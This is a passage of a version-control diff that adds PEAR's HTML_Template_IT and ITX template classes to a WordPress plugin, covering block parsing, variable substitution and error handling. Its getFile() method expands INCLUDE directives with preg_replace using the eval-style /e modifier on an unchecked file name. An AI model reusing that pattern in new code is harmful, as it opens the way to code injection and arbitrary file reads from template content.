+ * The Isotemplate API is somewhat tricky for a beginner although it is the best
+ * one you can build. template::parse() [phplib template = Isotemplate] requests
+ * you to name a source and a target where the current block gets parsed into.
+ * Source and target can be block names or even handler names. This API gives you
+ * a maximum of fexibility but you always have to know what you do which is
+ * quite unusual for php skripter like me.
+ *
+ * I noticed that I do not any control on which block gets parsed into which one.
+ * If all blocks are within one file, the script knows how they are nested and in
+ * which way you have to parse them. IT knows that inner1 is a child of block2, there's
+ * no need to tell him about this.
+ *
+ * <table border>
+ *   <tr>
+ *     <td colspan=2>
+ *       __global__
+ *       <p>
+ *       (hidden and automatically added)
+ *     </td>
+ *   </tr>
+ *   <tr>
+ *     <td>block1</td>
+ *     <td>
+ *       <table border>
+ *         <tr>
+ *           <td colspan=2>block2</td>
+ *         </tr>
+ *         <tr>
+ *           <td>inner1</td>
+ *           <td>inner2</td>
+ *         </tr>
+ *       </table>
+ *     </td>
+ *   </tr>
+ * </table>
+ *
+ * To add content to block1 you simply type:
+ * <code>$tpl->setCurrentBlock("block1");</code>
+ * and repeat this as often as needed:
+ * <code>
+ *   $tpl->setVariable(...);
+ *   $tpl->parseCurrentBlock();
+ * </code>
+ *
+ * To add content to block2 you would type something like:
+ * <code>
+ * $tpl->setCurrentBlock("inner1");
+ * $tpl->setVariable(...);
+ * $tpl->parseCurrentBlock();
+ *
+ * $tpl->setVariable(...);
+ * $tpl->parseCurrentBlock();
+ *
+ * $tpl->parse("block1");
+ * </code>
+ *
+ * This will result in one repition of block1 which contains two repitions
+ * of inner1. inner2 will be removed if $removeEmptyBlock is set to true which is the default.
+ *
+ * Usage:
+ * <code>
+ * $tpl = new HTML_Template_IT( [string filerootdir] );
+ *
+ * // load a template or set it with setTemplate()
+ * $tpl->loadTemplatefile( string filename [, boolean removeUnknownVariables, boolean removeEmptyBlocks] )
+ *
+ * // set "global" Variables meaning variables not beeing within a (inner) block
+ * $tpl->setVariable( string variablename, mixed value );
+ *
+ * // like with the Isotemplates there's a second way to use setVariable()
+ * $tpl->setVariable( array ( string varname => mixed value ) );
+ *
+ * // Let's use any block, even a deeply nested one
+ * $tpl->setCurrentBlock( string blockname );
+ *
+ * // repeat this as often as you need it.
+ * $tpl->setVariable( array ( string varname => mixed value ) );
+ * $tpl->parseCurrentBlock();
+ *
+ * // get the parsed template or print it: $tpl->show()
+ * $tpl->get();
+ * </code>
+ *
+ * @author   Ulf Wendel <uw@netuse.de>
+ * @version  $Id: IT.php,v 1.20 2006/08/17 15:47:22 dsp Exp $
+ * @access   public
+ * @package  HTML_Template_IT
+ */
+class net_php_pear_HTML_Template_IT
+{
+    /**
+     * Contains the error objects
+     * @var      array
+     * @access   public
+     * @see      halt(), $printError, $haltOnError
+     */
+    var $err = array();
+
+    /**
+     * Clear cache on get()?
+     * @var      boolean
+     */
+    var $clearCache = false;
+
+    /**
+     * First character of a variable placeholder ( _{_VARIABLE} ).
+     * @var      string
+     * @access   public
+     * @see      $closingDelimiter, $blocknameRegExp, $variablenameRegExp
+     */
+    var $openingDelimiter = '{';
+
+    /**
+     * Last character of a variable placeholder ( {VARIABLE_}_ ).
+     * @var      string
+     * @access   public
+     * @see      $openingDelimiter, $blocknameRegExp, $variablenameRegExp
+     */
+    var $closingDelimiter     = '}';
+
+    /**
+     * RegExp matching a block in the template.
+     * Per default "sm" is used as the regexp modifier, "i" is missing.
+     * That means a case sensitive search is done.
+     * @var      string
+     * @access   public
+     * @see      $variablenameRegExp, $openingDelimiter, $closingDelimiter
+     */
+    var $blocknameRegExp    = '[\.0-9A-Za-z_-]+';
+
+    /**
+     * RegExp matching a variable placeholder in the template.
+     * Per default "sm" is used as the regexp modifier, "i" is missing.
+     * That means a case sensitive search is done.
+     * @var      string
+     * @access   public
+     * @see      $blocknameRegExp, $openingDelimiter, $closingDelimiter
+     */
+    var $variablenameRegExp    = '[\.0-9A-Za-z_-]+';
+
+    /**
+     * RegExp used to find variable placeholder, filled by the constructor.
+     * @var      string    Looks somewhat like @(delimiter varname delimiter)@
+     * @access   public
+     * @see      IntegratedTemplate()
+     */
+    var $variablesRegExp = '';
+
+    /**
+     * RegExp used to strip unused variable placeholder.
+     * @brother  $variablesRegExp
+     */
+    var $removeVariablesRegExp = '';
+
+    /**
+     * Controls the handling of unknown variables, default is remove.
+     * @var      boolean
+     * @access   public
+     */
+    var $removeUnknownVariables = true;
+
+    /**
+     * Controls the handling of empty blocks, default is remove.
+     * @var      boolean
+     * @access   public
+     */
+    var $removeEmptyBlocks = true;
+
+    /**
+     * RegExp used to find blocks an their content, filled by the constructor.
+     * @var      string
+     * @see      IntegratedTemplate()
+     */
+    var $blockRegExp = '';
+
+    /**
+     * Name of the current block.
+     * @var      string
+     */
+    var $currentBlock = '__global__';
+
+    /**
+     * Content of the template.
+     * @var      string
+     */
+    var $template = '';
+
+    /**
+     * Array of all blocks and their content.
+     *
+     * @var      array
+     * @see      findBlocks()
+     */
+    var $blocklist = array();
+
+    /**
+     * Array with the parsed content of a block.
+     *
+     * @var      array
+     */
+    var $blockdata = array();
+
+    /**
+     * Array of variables in a block.
+     * @var      array
+     */
+    var $blockvariables = array();
+
+    /**
+     * Array of inner blocks of a block.
+     * @var      array
+     */
+    var $blockinner = array();
+
+    /**
+     * List of blocks to preverse even if they are "empty".
+     *
+     * This is something special. Sometimes you have blocks that
+     * should be preserved although they are empty (no placeholder replaced).
+     * Think of a shopping basket. If it's empty you have to drop a message to
+     * the user. If it's filled you have to show the contents of
+     * the shopping baseket. Now where do you place the message that the basket
+     * is empty? It's no good idea to place it in you applications as customers
+     * tend to like unecessary minor text changes. Having another template file
+     * for an empty basket means that it's very likely that one fine day
+     * the filled and empty basket templates have different layout. I decided
+     * to introduce blocks that to not contain any placeholder but only
+     * text such as the message "Your shopping basked is empty".
+     *
+     * Now if there is no replacement done in such a block the block will
+     * be recognized as "empty" and by default ($removeEmptyBlocks = true) be
+     * stripped off. To avoid thisyou can now call touchBlock() to avoid this.
+     *
+     * The array $touchedBlocks stores a list of touched block which must not
+     * be removed even if they are empty.
+     *
+     * @var  array    $touchedBlocks
+     * @see  touchBlock(), $removeEmptyBlocks
+     */
+     var $touchedBlocks = array();
+
+    /**
+     * List of blocks which should not be shown even if not "empty"
+     * @var  array    $_hiddenBlocks
+     * @see  hideBlock(), $removeEmptyBlocks
+     */
+    var $_hiddenBlocks = array();
+
+    /**
+     * Variable cache.
+     *
+     * Variables get cached before any replacement is done.
+     * Advantage: empty blocks can be removed automatically.
+     * Disadvantage: might take some more memory
+     *
+     * @var    array
+     * @see    setVariable(), $clearCacheOnParse
+     */
+    var $variableCache = array();
+
+    /**
+     * Clear the variable cache on parse?
+     *
+     * If you're not an expert just leave the default false.
+     * True reduces memory consumption somewhat if you tend to
+     * add lots of values for unknown placeholder.
+     *
+     * @var    boolean
+     */
+    var $clearCacheOnParse = false;
+
+    /**
+     * Root directory for all file operations.
+     * The string gets prefixed to all filenames given.
+     * @var    string
+     * @see    HTML_Template_IT(), setRoot()
+     */
+    var $fileRoot = '';
+
+    /**
+     * Internal flag indicating that a blockname was used multiple times.
+     * @var    boolean
+     */
+    var $flagBlocktrouble = false;
+
+    /**
+     * Flag indicating that the global block was parsed.
+     * @var    boolean
+     */
+    var $flagGlobalParsed = false;
+
+    /**
+     * EXPERIMENTAL! FIXME!
+     * Flag indication that a template gets cached.
+     *
+     * Complex templates require some times to be preparsed
+     * before the replacement can take place. Often I use
+     * one template file over and over again but I don't know
+     * before that I will use the same template file again.
+     * Now IT could notice this and skip the preparse.
+     *
+     * @var    boolean
+     */
+    var $flagCacheTemplatefile = true;
+
+    /**
+     * EXPERIMENTAL! FIXME!
+     */
+    var $lastTemplatefile = '';
+
+    /**
+     * $_options['preserve_data'] Whether to substitute variables and remove
+     * empty placeholders in data passed through setVariable
+     * (see also bugs #20199, #21951).
+     * $_options['use_preg'] Whether to use preg_replace instead of
+     * str_replace in parse()
+     * (this is a backwards compatibility feature, see also bugs #21951, #20392)
+     */
+    var $_options = array(
+        'preserve_data' => false,
+        'use_preg'      => true
+    );
+
+    /**
+     * Builds some complex regular expressions and optinally sets the
+     * file root directory.
+     *
+     * Make sure that you call this constructor if you derive your template
+     * class from this one.
+     *
+     * @param    string    File root directory, prefix for all filenames
+     *                     given to the object.
+     * @see      setRoot()
+     */
+    function net_php_pear_HTML_Template_IT($root = '', $options = null)
+    {
+        if (!is_null($options)) {
+            $this->setOptions($options);
+        }
+        $this->variablesRegExp = '@' . $this->openingDelimiter .
+                                 '(' . $this->variablenameRegExp . ')' .
+                                 $this->closingDelimiter . '@sm';
+        $this->removeVariablesRegExp = '@' . $this->openingDelimiter .
+                                       "\s*(" . $this->variablenameRegExp .
+                                       ")\s*" . $this->closingDelimiter .'@sm';
+
+        $this->blockRegExp = '@<!--\s+BEGIN\s+(' . $this->blocknameRegExp .
+                             ')\s+-->(.*)<!--\s+END\s+\1\s+-->@sm';
+
+        $this->setRoot($root);
+    } // end constructor
+
+
+    /**
+     * Sets the option for the template class
+     *
+     * @access public
+     * @param  string  option name
+     * @param  mixed   option value
+     * @return mixed   IT_OK on success, error object on failure
+     */
+    function setOption($option, $value)
+    {
+        if (array_key_exists($option, $this->_options)) {
+            $this->_options[$option] = $value;
+            return IT_OK;
+        }
+
+        throw new Exception(
+                $this->errorMessage(IT_UNKNOWN_OPTION) . ": '{$option}'",
+                IT_UNKNOWN_OPTION
+            );
+    }
+
+    /**
+     * Sets the options for the template class
+     *
+     * @access public
+     * @param  string  options array of options
+     *                 default value:
+     *                   'preserve_data' => false,
+     *                   'use_preg'      => true
+     * @param  mixed   option value
+     * @return mixed   IT_OK on success, error object on failure
+     * @see $options
+     */
+    function setOptions($options)
+    {
+        if (is_array($options)) {
+            foreach ($options as $option => $value) {
+                $error = $this->setOption($option, $value);
+                if (net_php_pear_PEAR::isError($error)) {
+                    return $error;
+                }
+            }
+        }
+
+        return IT_OK;
+    }
+
+    /**
+     * Print a certain block with all replacements done.
+     * @brother get()
+     */
+    function show($block = '__global__')
+    {
+        print $this->get($block);
+    } // end func show
+
+    /**
+     * Returns a block with all replacements done.
+     *
+     * @param    string     name of the block
+     * @return   string
+     * @throws   PEAR_Error
+     * @access   public
+     * @see      show()
+     */
+    function get($block = '__global__')
+    {
+        if ($block == '__global__'  && !$this->flagGlobalParsed) {
+            $this->parse('__global__');
+        }
+
+        if (!isset($this->blocklist[$block])) {
+            $this->err[] = net_php_pear_PEAR::raiseError(
+                            $this->errorMessage(IT_BLOCK_NOT_FOUND) .
+                            '"' . $block . "'",
+                            IT_BLOCK_NOT_FOUND
+                        );
+            return '';
+        }
+
+        if (isset($this->blockdata[$block])) {
+            $ret = $this->blockdata[$block];
+            if ($this->clearCache) {
+                unset($this->blockdata[$block]);
+            }
+            if ($this->_options['preserve_data']) {
+                $ret = str_replace(
+                        $this->openingDelimiter .
+                        '%preserved%' . $this->closingDelimiter,
+                        $this->openingDelimiter,
+                        $ret
+                    );
+            }
+            return $ret;
+        }
+
+        return '';
+    } // end func get()
+
+    /**
+     * Parses the given block.
+     *
+     * @param    string    name of the block to be parsed
+     * @access   public
+     * @see      parseCurrentBlock()
+     * @throws   PEAR_Error
+     */
+    function parse($block = '__global__', $flag_recursion = false)
+    {
+        static $regs, $values;
+
+        if (!isset($this->blocklist[$block])) {
+            throw new Exception(
+                $this->errorMessage( IT_BLOCK_NOT_FOUND ) . '"' . $block . "'",
+                        IT_BLOCK_NOT_FOUND
+                );
+        }
+
+        if ($block == '__global__') {
+            $this->flagGlobalParsed = true;
+        }
+
+        if (!$flag_recursion) {
+            $regs   = array();
+            $values = array();
+        }
+        $outer = $this->blocklist[$block];
+        $empty = true;
+
+        if ($this->clearCacheOnParse) {
+            foreach ($this->variableCache as $name => $value) {
+                $regs[] = $this->openingDelimiter .
+                          $name . $this->closingDelimiter;
+                $values[] = $value;
+                $empty = false;
+            }
+            $this->variableCache = array();
+        } else {
+            foreach ($this->blockvariables[$block] as $allowedvar => $v) {
+
+                if (isset($this->variableCache[$allowedvar])) {
+                   $regs[]   = $this->openingDelimiter .
+                               $allowedvar . $this->closingDelimiter;
+                   $values[] = $this->variableCache[$allowedvar];
+                   unset($this->variableCache[$allowedvar]);
+                   $empty = false;
+                }
+            }
+        }
+
+        if (isset($this->blockinner[$block])) {
+            foreach ($this->blockinner[$block] as $k => $innerblock) {
+
+                $this->parse($innerblock, true);
+                if ($this->blockdata[$innerblock] != '') {
+                    $empty = false;
+                }
+
+                $placeholder = $this->openingDelimiter . "__" .
+                                $innerblock . "__" . $this->closingDelimiter;
+                $outer = str_replace(
+                                    $placeholder,
+                                    $this->blockdata[$innerblock], $outer
+                        );
+                $this->blockdata[$innerblock] = "";
+            }
+
+        }
+
+        if (!$flag_recursion && 0 != count($values)) {
+            if ($this->_options['use_preg']) {
+                $regs        = array_map(array(
+                                    &$this, '_addPregDelimiters'),
+                                    $regs
+                                );
+                $funcReplace = 'preg_replace';
+            } else {
+                $funcReplace = 'str_replace';
+            }
+
+            if ($this->_options['preserve_data']) {
+                $values = array_map(
+                            array(&$this, '_preserveOpeningDelimiter'), $values
+                        );
+            }
+
+            $outer = $funcReplace($regs, $values, $outer);
+
+            if ($this->removeUnknownVariables) {
+                $outer = preg_replace($this->removeVariablesRegExp, "", $outer);
+            }
+        }
+
+        if ($empty) {
+            if (!$this->removeEmptyBlocks) {
+                $this->blockdata[$block ].= $outer;
+            } else {
+                if (isset($this->touchedBlocks[$block])) {
+                    $this->blockdata[$block] .= $outer;
+                    unset($this->touchedBlocks[$block]);
+                }
+            }
+        } else {
+            if (empty($this->blockdata[$block])) {
+                $this->blockdata[$block] = $outer;
+            } else {
+                $this->blockdata[$block] .= $outer;
+            }
+        }
+
+        return $empty;
+    } // end func parse
+
+    /**
+     * Parses the current block
+     * @see      parse(), setCurrentBlock(), $currentBlock
+     * @access   public
+     */
+    function parseCurrentBlock()
+    {
+        return $this->parse($this->currentBlock);
+    } // end func parseCurrentBlock
+
+    /**
+     * Sets a variable value.
+     *
+     * The function can be used eighter like setVariable( "varname", "value")
+     * or with one array $variables["varname"] = "value"
+     * given setVariable($variables) quite like phplib templates set_var().
+     *
+     * @param    mixed     string with the variable name or an array
+     *                     %variables["varname"] = "value"
+     * @param    string    value of the variable or empty if $variable
+     *                     is an array.
+     * @param    string    prefix for variable names
+     * @access   public
+     */
+    function setVariable($variable, $value = '')
+    {
+        if (is_array($variable)) {
+            $this->variableCache = array_merge(
+                                            $this->variableCache, $variable
+                                    );
+        } else {
+            $this->variableCache[$variable] = $value;
+        }
+    } // end func setVariable
+
+    /**
+     * Sets the name of the current block that is the block where variables
+     * are added.
+     *
+     * @param    string      name of the block
+     * @return   boolean     false on failure, otherwise true
+     * @throws   PEAR_Error
+     * @access   public
+     */
+    function setCurrentBlock($block = '__global__')
+    {
+
+        if (!isset($this->blocklist[$block])) {
+            throw new Exception(
+                $this->errorMessage( IT_BLOCK_NOT_FOUND ) .
+                '"' . $block . "'", IT_BLOCK_NOT_FOUND
+            );
+        }
+
+        $this->currentBlock = $block;
+
+        return true;
+    } // end func setCurrentBlock
+
+    /**
+     * Preserves an empty block even if removeEmptyBlocks is true.
+     *
+     * @param    string      name of the block
+     * @return   boolean     false on false, otherwise true
+     * @throws   PEAR_Error
+     * @access   public
+     * @see      $removeEmptyBlocks
+     */
+    function touchBlock($block)
+    {
+        if (!isset($this->blocklist[$block])) {
+            throw new Exception(
+                $this->errorMessage(IT_BLOCK_NOT_FOUND) .
+                '"' . $block . "'", IT_BLOCK_NOT_FOUND);
+        }
+
+        $this->touchedBlocks[$block] = true;
+
+        return true;
+    } // end func touchBlock
+
+    /**
+     * Clears all datafields of the object and rebuild the internal blocklist
+     *
+     * LoadTemplatefile() and setTemplate() automatically call this function
+     * when a new template is given. Don't use this function
+     * unless you know what you're doing.
+     *
+     * @access   public
+     * @see      free()
+     */
+    function init()
+    {
+        $this->free();
+        $this->findBlocks($this->template);
+        // we don't need it any more
+        $this->template = '';
+        $this->buildBlockvariablelist();
+    } // end func init
+
+    /**
+     * Clears all datafields of the object.
+     *
+     * Don't use this function unless you know what you're doing.
+     *
+     * @access   public
+     * @see      init()
+     */
+    function free()
+    {
+        $this->err = array();
+
+        $this->currentBlock = '__global__';
+
+        $this->variableCache    = array();
+        $this->blocklist        = array();
+        $this->touchedBlocks    = array();
+
+        $this->flagBlocktrouble = false;
+        $this->flagGlobalParsed = false;
+    } // end func free
+
+    /**
+     * Sets the template.
+     *
+     * You can eighter load a template file from disk with
+     * LoadTemplatefile() or set the template manually using this function.
+     *
+     * @param        string      template content
+     * @param        boolean     remove unknown/unused variables?
+     * @param        boolean     remove empty blocks?
+     * @see          LoadTemplatefile(), $template
+     * @access       public
+     * @return       boolean
+     */
+    function setTemplate( $template, $removeUnknownVariables = true,
+                          $removeEmptyBlocks = true)
+    {
+        $this->removeUnknownVariables = $removeUnknownVariables;
+        $this->removeEmptyBlocks = $removeEmptyBlocks;
+
+        if ($template == '' && $this->flagCacheTemplatefile) {
+            $this->variableCache = array();
+            $this->blockdata = array();
+            $this->touchedBlocks = array();
+            $this->currentBlock = '__global__';
+        } else {
+            $this->template = '<!-- BEGIN __global__ -->' . $template .
+                              '<!-- END __global__ -->';
+            $this->init();
+        }
+
+        if ($this->flagBlocktrouble) {
+            return false;
+        }
+
+        return true;
+    } // end func setTemplate
+
+    /**
+     * Reads a template file from the disk.
+     *
+     * @param    string      name of the template file
+     * @param    bool        how to handle unknown variables.
+     * @param    bool        how to handle empty blocks.
+     * @access   public
+     * @return   boolean    false on failure, otherwise true
+     * @see      $template, setTemplate(), $removeUnknownVariables,
+     *           $removeEmptyBlocks
+     */
+    function loadTemplatefile( $filename,
+                               $removeUnknownVariables = true,
+                               $removeEmptyBlocks = true )
+    {
+        $template = '';
+        if (!$this->flagCacheTemplatefile ||
+            $this->lastTemplatefile != $filename
+        ) {
+            $template = $this->getFile($filename);
+        }
+        $this->lastTemplatefile = $filename;
+
+        return $template != '' ?
+                $this->setTemplate(
+                        $template,$removeUnknownVariables, $removeEmptyBlocks
+                    ) : false;
+    } // end func LoadTemplatefile
+
+    /**
+     * Sets the file root. The file root gets prefixed to all filenames passed
+     * to the object.
+     *
+     * Make sure that you override this function when using the class
+     * on windows.
+     *
+     * @param    string
+     * @see      HTML_Template_IT()
+     * @access   public
+     */
+    function setRoot($root)
+    {
+        if ($root != '' && substr($root, -1) != '/') {
+            $root .= '/';
+        }
+
+        $this->fileRoot = $root;
+    } // end func setRoot
+
+    /**
+     * Build a list of all variables within of a block
+     */
+    function buildBlockvariablelist()
+    {
+        foreach ($this->blocklist as $name => $content) {
+            preg_match_all($this->variablesRegExp, $content, $regs);
+
+            if (count($regs[1]) != 0) {
+                foreach ($regs[1] as $k => $var) {
+                    $this->blockvariables[$name][$var] = true;
+                }
+            } else {
+                $this->blockvariables[$name] = array();
+            }
+        }
+    } // end func buildBlockvariablelist
+
+    /**
+     * Returns a list of all global variables
+     */
+    function getGlobalvariables()
+    {
+        $regs   = array();
+        $values = array();
+
+        foreach ($this->blockvariables['__global__'] as $allowedvar => $v) {
+            if (isset($this->variableCache[$allowedvar])) {
+                $regs[]   = '@' . $this->openingDelimiter .
+                            $allowedvar . $this->closingDelimiter . '@';
+                $values[] = $this->variableCache[$allowedvar];
+                unset($this->variableCache[$allowedvar]);
+            }
+        }
+
+        return array($regs, $values);
+    } // end func getGlobalvariables
+
+    /**
+     * Recusively builds a list of all blocks within the template.
+     *
+     * @param    string    string that gets scanned
+     * @see      $blocklist
+     */
+    function findBlocks($string)
+    {
+        $blocklist = array();
+
+        if (preg_match_all($this->blockRegExp, $string, $regs, PREG_SET_ORDER)) {
+            foreach ($regs as $k => $match) {
+                $blockname         = $match[1];
+                $blockcontent = $match[2];
+
+                if (isset($this->blocklist[$blockname])) {
+                    $this->err[] = net_php_pear_PEAR::raiseError(
+                                            $this->errorMessage(
+                                            IT_BLOCK_DUPLICATE, $blockname),
+                                            IT_BLOCK_DUPLICATE
+                                    );
+                    $this->flagBlocktrouble = true;
+                }
+
+                $this->blocklist[$blockname] = $blockcontent;
+                $this->blockdata[$blockname] = "";
+
+                $blocklist[] = $blockname;
+
+                $inner = $this->findBlocks($blockcontent);
+                foreach ($inner as $k => $name) {
+                    $pattern = sprintf(
+                        '@<!--\s+BEGIN\s+%s\s+-->(.*)<!--\s+END\s+%s\s+-->@sm',
+                        $name,
+                        $name
+                    );
+
+                    $this->blocklist[$blockname] = preg_replace(
+                                        $pattern,
+                                        $this->openingDelimiter .
+                                        '__' . $name . '__' .
+                                        $this->closingDelimiter,
+                                        $this->blocklist[$blockname]
+                               );
+                    $this->blockinner[$blockname][] = $name;
+                    $this->blockparents[$name] = $blockname;
+                }
+            }
+        }
+
+        return $blocklist;
+    } // end func findBlocks
+
+    /**
+     * Reads a file from disk and returns its content.
+     * @param    string    Filename
+     * @return   string    Filecontent
+     */
+    function getFile($filename)
+    {
+        if ($filename{0} == '/' && substr($this->fileRoot, -1) == '/') {
+            $filename = substr($filename, 1);
+        }
+
+        $filename = $this->fileRoot . $filename;
+
+        if (!($fh = @fopen($filename, 'r'))) {
+            $this->err[] = net_php_pear_PEAR::raiseError(
+                        $this->errorMessage(IT_TPL_NOT_FOUND) .
+                        ': "' .$filename .'"',
+                        IT_TPL_NOT_FOUND
+                    );
+            return "";
+        }
+
+        $fsize = filesize($filename);
+        if ($fsize < 1) {
+            fclose($fh);
+            return '';
+        }
+
+        $content = fread($fh, $fsize);
+        fclose($fh);
+
+        return preg_replace(
+            "#<!-- INCLUDE (.*) -->#ime", "\$this->getFile('\\1')", $content
+        );
+    } // end func getFile
+
+    /**
+     * Adds delimiters to a string, so it can be used as a pattern
+     * in preg_* functions
+     *
+     * @param string
+     * @return string
+     */
+    function _addPregDelimiters($str)
+    {
+        return '@' . $str . '@';
+    }
+
+   /**
+    * Replaces an opening delimiter by a special string
+    *
+    * @param  string
+    * @return string
+    */
+    function _preserveOpeningDelimiter($str)
+    {
+        return (false === strpos($str, $this->openingDelimiter))?
+                $str:
+                str_replace(
+                    $this->openingDelimiter,
+                    $this->openingDelimiter .
+                    '%preserved%' . $this->closingDelimiter,
+                    $str
+                );
+    }
+
+    /**
+     * Return a textual error message for a IT error code
+     *
+     * @param integer $value error code
+     *
+     * @return string error message, or false if the error code was
+     * not recognized
+     */
+    function errorMessage($value, $blockname = '')
+    {
+        static $errorMessages;
+        if (!isset($errorMessages)) {
+            $errorMessages = array(
+                IT_OK                       => '',
+                IT_ERROR                    => 'unknown error',
+                IT_TPL_NOT_FOUND            => 'Cannot read the template file',
+                IT_BLOCK_NOT_FOUND          => 'Cannot find this block',
+                IT_BLOCK_DUPLICATE          => 'The name of a block must be'.
+                                               ' uniquewithin a template.'.
+                                               ' Found "' . $blockname . '" twice.'.
+                                               'Unpredictable results '.
+                                               'may appear.',
+                IT_UNKNOWN_OPTION           => 'Unknown option'
+            );
+        }
+
+        if (net_php_pear_PEAR::isError($value)) {
+            $value = $value->getCode();
+        }
+
+        return isset($errorMessages[$value]) ?
+                $errorMessages[$value] : $errorMessages[IT_ERROR];
+    }
+} // end class IntegratedTemplate
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/net/php/pear/HTML/Template/IT/Error.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/net/php/pear/HTML/Template/IT/Error.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/net/php/pear/HTML/Template/IT/Error.class.php	(revision 44)
@@ -0,0 +1,49 @@
+<?php
+//
+// +----------------------------------------------------------------------+
+// | Copyright (c) 1997-2005 Ulf Wendel, Pierre-Alain Joye                |
+// +----------------------------------------------------------------------+
+// | This source file is subject to the New BSD license, That is bundled  |
+// | with this package in the file LICENSE, and is available through      |
+// | the world-wide-web at                                                |
+// | http://www.opensource.org/licenses/bsd-license.php                   |
+// | If you did not receive a copy of the new BSD license and are unable  |
+// | to obtain it through the world-wide-web, please send a note to       |
+// | pajoye@php.net so we can mail you a copy immediately.                |
+// +----------------------------------------------------------------------+
+// | Author: Ulf Wendel <ulf.wendel@phpdoc.de>                            |
+// |         Pierre-Alain Joye <pajoye@php.net>                           |
+// +----------------------------------------------------------------------+
+//
+// $Id: IT_Error.php,v 1.3 2006/08/17 15:44:31 dsp Exp $
+
+/**
+* IT[X] Error class
+* 
+* @package HTML_Template_IT
+*/
+class net_php_pear_HTML_Template_IT_Error extends PEAR_Error {
+
+
+  /**
+  * Prefix of all error messages.
+  * 
+  * @var  string
+  */
+  var $error_message_prefix = "IntegratedTemplate Error: ";
+  
+  /**
+  * Creates an cache error object.
+  * 
+  * @param  string  error message
+  * @param  string  file where the error occured
+  * @param  string  linenumber where the error occured
+  */
+  function net_php_pear_HTML_Template_IT_Error($msg, $file = __FILE__, $line = __LINE__) {
+    
+    $this->PEAR_Error(sprintf("%s [%s on line %d].", $msg, $file, $line));
+    
+  } // end func IT_Error
+  
+} // end class IT_Error
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/net/php/pear/HTML/Template/ITX.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/net/php/pear/HTML/Template/ITX.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/net/php/pear/HTML/Template/ITX.class.php	(revision 44)
@@ -0,0 +1,830 @@
+<?php
+//
+// +----------------------------------------------------------------------+
+// | Copyright (c) 1997-2005 Ulf Wendel, Pierre-Alain Joye                |
+// +----------------------------------------------------------------------+
+// | This source file is subject to the New BSD license, That is bundled  |
+// | with this package in the file LICENSE, and is available through      |
+// | the world-wide-web at                                                |
+// | http://www.opensource.org/licenses/bsd-license.php                   |
+// | If you did not receive a copy of the new BSD license and are unable  |
+// | to obtain it through the world-wide-web, please send a note to       |
+// | pajoye@php.net so we can mail you a copy immediately.                |
+// +----------------------------------------------------------------------+
+// | Author: Ulf Wendel <ulf.wendel@phpdoc.de>                            |
+// |         Pierre-Alain Joye <pajoye@php.net>                           |
+// +----------------------------------------------------------------------+
+//
+// $Id: ITX.php,v 1.16 2006/08/17 15:47:22 dsp Exp $
+//
+
+
+/**
+* Integrated Template Extension - ITX
+*
+* With this class you get the full power of the phplib template class.
+* You may have one file with blocks in it but you have as well one main file
+* and multiple files one for each block. This is quite usefull when you have
+* user configurable websites. Using blocks not in the main template allows
+* you to modify some parts of your layout easily.
+*
+* Note that you can replace an existing block and add new blocks at runtime.
+* Adding new blocks means changing a variable placeholder to a block.
+*
+* @author   Ulf Wendel <uw@netuse.de>
+* @access   public
+* @version  $Id: ITX.php,v 1.16 2006/08/17 15:47:22 dsp Exp $
+* @package  HTML_Template_IT
+*/
+class net_php_pear_HTML_Template_ITX extends net_php_pear_HTML_Template_IT
+{
+    /**
+    * Array with all warnings.
+    * @var    array
+    * @access public
+    * @see    $printWarning, $haltOnWarning, warning()
+    */
+    var $warn = array();
+
+    /**
+    * Print warnings?
+    * @var    array
+    * @access public
+    * @see    $haltOnWarning, $warn, warning()
+    */
+    var $printWarning = false;
+
+    /**
+    * Call die() on warning?
+    * @var    boolean
+    * @access public
+    * @see    $warn, $printWarning, warning()
+    */
+    var $haltOnWarning = false;
+
+    /**
+    * RegExp used to test for a valid blockname.
+    * @var string
+    */
+    var $checkblocknameRegExp = '';
+
+    /**
+    * Functionnameprefix used when searching function calls in the template.
+    * @var string
+    */
+    var $functionPrefix = 'func_';
+
+    /**
+    * Functionname RegExp.
+    * @var string
+    */
+    var $functionnameRegExp = '[_a-zA-Z]+[A-Za-z_0-9]*';
+
+    /**
+    * RegExp used to grep function calls in the template.
+    *
+    * The variable gets set by the constructor.
+    *
+    * @var string
+    * @see HTML_Template_IT()
+    */
+    var $functionRegExp = '';
+
+    /**
+    * List of functions found in the template.
+    *
+    * @var array
+    */
+    var $functions = array();
+
+    /**
+    * List of callback functions specified by the user.
+    *
+    * @var array
+    */
+    var $callback = array();
+
+    /**
+    * Builds some complex regexps and calls the constructor
+    * of the parent class.
+    *
+    * Make sure that you call this constructor if you derive your own
+    * template class from this one.
+    *
+    * @see    HTML_Template_IT()
+    */
+    function net_php_pear_HTML_Template_ITX($root = '')
+    {
+
+        $this->checkblocknameRegExp = '@' . $this->blocknameRegExp . '@';
+        $this->functionRegExp = '@' . $this->functionPrefix . '(' .
+                                $this->functionnameRegExp . ')\s*\(@sm';
+
+        $this->net_php_pear_HTML_Template_IT($root);
+    } // end func constructor
+
+    function init()
+    {
+        $this->free();
+        $this->buildFunctionlist();
+        $this->findBlocks($this->template);
+        // we don't need it any more
+        $this->template = '';
+        $this->buildBlockvariablelist();
+
+    } // end func init
+
+    /**
+    * Replaces an existing block with new content.
+    *
+    * This function will replace a block of the template and all blocks
+    * contained in the replaced block and add a new block insted, means
+    * you can dynamically change your template.
+    *
+    * Note that changing the template structure violates one of the IT[X]
+    * development goals. I've tried to write a simple to use template engine
+    * supporting blocks. In contrast to other systems IT[X] analyses the way
+    * you've nested blocks and knows which block belongs into another block.
+    * The nesting information helps to make the API short and simple. Replacing
+    * blocks does not only mean that IT[X] has to update the nesting
+    * information (relatively time consumpting task) but you have to make sure
+    * that you do not get confused due to the template change itself.
+    *
+    * @param    string      Blockname
+    * @param    string      Blockcontent
+    * @param    boolean     true if the new block inherits the content
+    *                       of the old block
+    * @return   boolean
+    * @throws   IT_Error
+    * @see      replaceBlockfile(), addBlock(), addBlockfile()
+    * @access   public
+    */
+    function replaceBlock($block, $template, $keep_content = false)
+    {
+        if (!isset($this->blocklist[$block])) {
+            return new net_php_pear_HTML_Template_IT_Error(
